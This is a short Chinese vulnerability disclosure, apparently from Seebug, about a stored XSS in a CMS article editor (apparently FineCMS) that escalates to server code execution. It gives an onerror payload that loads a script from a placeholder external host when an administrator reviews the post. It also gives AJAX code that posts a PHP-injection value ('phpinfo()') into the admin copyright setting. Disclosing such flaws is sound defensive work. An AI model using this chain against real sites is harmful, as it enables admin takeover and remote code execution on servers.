### 简要描述:
xss
### 详细说明:
注册一个用户,在发表文章的地方发表文章
在编辑器里加入一张图片
用firebug修改图片地址 加入onerror属性
onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'
[<img src="https://images.seebug.org/upload/201508/08120252835a8eb78d2764d732d11666a099989d.png" alt="xss1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/08120252835a8eb78d2764d732d11666a099989d.png)
因为发表的文章需要后台管理员审核的,
当管理员审核的时候触发漏洞
[<img src="https://images.seebug.org/upload/201508/0812113708a44159f21a8d5ac5227198be4a4717.png" alt="后台触发.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/0812113708a44159f21a8d5ac5227198be4a4717.png)
然后是getshell
有了后台xss都好办
在修改版权处
[<img src="https://images.seebug.org/upload/201508/0812060446b360185927b807025aeadd7d57dd58.png" alt="phpinfo.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/0812060446b360185927b807025aeadd7d57dd58.png)
保存以后
[<img src="https://images.seebug.org/upload/201508/08120619d06c10de5c61249148a94ffa5f123625.png" alt="phpinfo2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/08120619d06c10de5c61249148a94ffa5f123625.png)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201508/0812113708a44159f21a8d5ac5227198be4a4717.png" alt="后台触发.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/0812113708a44159f21a8d5ac5227198be4a4717.png)
[<img src="https://images.seebug.org/upload/201508/08120619d06c10de5c61249148a94ffa5f123625.png" alt="phpinfo2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/08120619d06c10de5c61249148a94ffa5f123625.png)
简单写个ajax
```
var xmlhttp;
if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else {// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("POST","/index.php?s=admin&a=bq",true);
xmlhttp.send("data%5Bcms%5D=FineCMS&data%5Bname%5D=FineCMS%E5%85%8D%E8%B4%B9%E7%89%88&data%5Bcompany%5D=1'+phpinfo(),//&submit=%E6%8F%90%E4%BA%A4");
```
暂无评论